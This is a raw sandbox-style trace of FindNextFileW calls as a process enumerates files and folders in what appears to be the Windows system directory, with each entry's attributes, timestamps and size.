	[0086.305] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x72a697c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xeda8bc40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xeda8bc40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Installer", cAlternateFileName="INSTAL~1")) returned 1
	[0086.305] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80b6f4c5, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80b6f4c5, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="L2Schemas", cAlternateFileName="L2SCHE~1")) returned 1
	[0086.305] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe60eb80, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x9a0a5fd1, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LiveKernelReports", cAlternateFileName="LIVEKE~1")) returned 1
	[0086.305] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6938ae40, ftLastAccessTime.dwHighDateTime=0x1d2fafa, ftLastWriteTime.dwLowDateTime=0x6938ae40, ftLastWriteTime.dwHighDateTime=0x1d2fafa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1
	[0086.305] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8105822e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8105822e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media", cAlternateFileName="")) returned 1
	[0086.305] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f29dbd7, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x7f29dbd7, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9d4aec0c, ftLastWriteTime.dwHighDateTime=0x1ca040e, nFileSizeHigh=0x0, nFileSizeLow=0xa87b, dwReserved0=0x0, dwReserved1=0x0, cFileName="mib.bin", cAlternateFileName="")) returned 1
	[0086.305] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe6f339c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd0be0600, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xd0be0600, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1
	[0086.305] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56a9ce00, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56a9ce00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56a9ce00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Migration", cAlternateFileName="MIGRAT~1")) returned 1
	[0086.305] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfea5f2b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfea5f2b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x9fcbcbb0, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ModemLogs", cAlternateFileName="MODEML~1")) returned 1
	[0086.305] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc82fedc8, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xc82fedc8, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x2d6b0bf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x57d, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.ini", cAlternateFileName="")) returned 1
	[0086.305] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8eb2c4cd, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x8eb2c4cd, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xeb804920, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f400, dwReserved0=0x0, dwReserved1=0x0, cFileName="notepad.exe", cAlternateFileName="")) returned 1
	[0086.305] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x810320ce, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x810320ce, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Offline Web Pages", cAlternateFileName="OFFLIN~1")) returned 1
	[0086.305] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb3172800, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x281b0dc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x281b0dc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Panther", cAlternateFileName="")) returned 1
	[0086.305] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PCHEALTH", cAlternateFileName="")) returned 1
	[0086.305] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Performance", cAlternateFileName="PERFOR~1")) returned 1
	[0086.305] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4e1cc01, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xc4e1cc01, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0x78374e00, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0x69ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="PFRO.log", cAlternateFileName="")) returned 1
	[0086.305] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfea8540c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfeaf781a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfeaf781a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PLA", cAlternateFileName="")) returned 1
	[0086.306] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfeb1d974, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x94d2e7b9, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x94d2e7b9, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PolicyDefinitions", cAlternateFileName="POLICY~1")) returned 1
	[0086.306] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6240bc00, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xff40bb90, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xff40bb90, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prefetch", cAlternateFileName="")) returned 1
	[0086.306] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf9a5c4e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaf9cbebd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x5b155ccd, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xd12f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Professional.xml", cAlternateFileName="PROFES~1.XML")) returned 1
	[0086.306] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71a7c91c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x71a7c91c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xedf95f70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x68400, dwReserved0=0x0, dwReserved1=0x0, cFileName="regedit.exe", cAlternateFileName="")) returned 1
	[0086.306] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfeb43ace, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xff1f57a0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xff1f57a0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Registration", cAlternateFileName="REGIST~1")) returned 1
	[0086.306] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfeb69c28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2b041c20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b041c20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rescache", cAlternateFileName="")) returned 1
	[0086.306] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfeb8fd82, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1
	[0086.306] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfebb5edc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfebb5edc, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xcb547a92, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SchCache", cAlternateFileName="")) returned 1
	[0086.306] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfebdc036, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="schemas", cAlternateFileName="")) returned 1
	[0086.306] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec02190, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98abb4cc, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x98abb4cc, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="security", cAlternateFileName="")) returned 1
	[0086.306] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf484ebfa, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf4be0d01, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf4be0d01, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceProfiles", cAlternateFileName="SERVIC~2")) returned 1
	[0086.306] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec4e444, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="servicing", cAlternateFileName="SERVIC~1")) returned 1
	[0086.306] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf627de2b, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf62a3f8b, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf62a3f8b, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup", cAlternateFileName="")) returned 1
	[0086.306] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fb4a840, ftCreationTime.dwHighDateTime=0x1d4d57d, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x82c1dd60, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="setupact.log", cAlternateFileName="")) returned 1
	[0086.306] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fb4a840, ftCreationTime.dwHighDateTime=0x1d4d57d, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setuperr.log", cAlternateFileName="")) returned 1
	[0086.306] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9968150d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaf52ba40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf52ba40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellNew", cAlternateFileName="")) returned 1
	[0086.306] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x145b2540, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2cafb6a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x2cafb6a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftwareDistribution", cAlternateFileName="SOFTWA~1")) returned 1
	[0086.306] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec7459e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d9da406, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d9da406, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Speech", cAlternateFileName="")) returned 1
	[0086.306] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x936ee880, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x936ee880, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x936ee880, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10600, dwReserved0=0x0, dwReserved1=0x0, cFileName="splwow64.exe", cAlternateFileName="")) returned 1
	[0086.306] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0aa2eb0, ftCreationTime.dwHighDateTime=0x1ca0443, ftLastAccessTime.dwLowDateTime=0xf0aa2eb0, ftLastAccessTime.dwHighDateTime=0x1ca0443, ftLastWriteTime.dwLowDateTime=0x5f19ab6d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xbc49, dwReserved0=0x0, dwReserved1=0x0, cFileName="Starter.xml", cAlternateFileName="")) returned 1
	[0086.306] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec7459e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfec7459e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xf404c84a, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="system", cAlternateFileName="")) returned 1
	[0086.306] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadc7ce10, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xadc7ce10, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8bb1d8db, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="system.ini", cAlternateFileName="")) returned 1
	[0086.306] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xefd85d60, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xefd85d60, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System32", cAlternateFileName="")) returned 1
	[0086.306] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe13712, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xc893570, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xc893570, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysWOW64", cAlternateFileName="")) returned 1
	[0086.306] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12b00f8, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x8d561533, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d561533, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAPI", cAlternateFileName="")) returned 1
	[0086.306] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12b00f8, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xe3cd110, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe3cd110, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tasks", cAlternateFileName="")) returned 1
	[0086.306] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12d6252, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xa9767ec0, ftLastAccessTime.dwHighDateTime=0x1d4d5ae, ftLastWriteTime.dwLowDateTime=0xa9767ec0, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1
	[0086.306] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12d6252, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x12d6252, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x9f16e414, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tracing", cAlternateFileName="")) returned 1
	[0086.306] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7986cda0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x7986cda0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x7986cda0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x54b, dwReserved0=0x0, dwReserved1=0x0, cFileName="TSSysprep.log", cAlternateFileName="TSSYSP~1.LOG")) returned 1
	[0086.306] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f64321c, ftCreationTime.dwHighDateTime=0x1c9ea14, ftLastAccessTime.dwLowDateTime=0x2f64321c, ftLastAccessTime.dwHighDateTime=0x1c9ea14, ftLastWriteTime.dwLowDateTime=0x2f64321c, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0x17240, dwReserved0=0x0, dwReserved1=0x0, cFileName="twain.dll", cAlternateFileName="")) returned 1
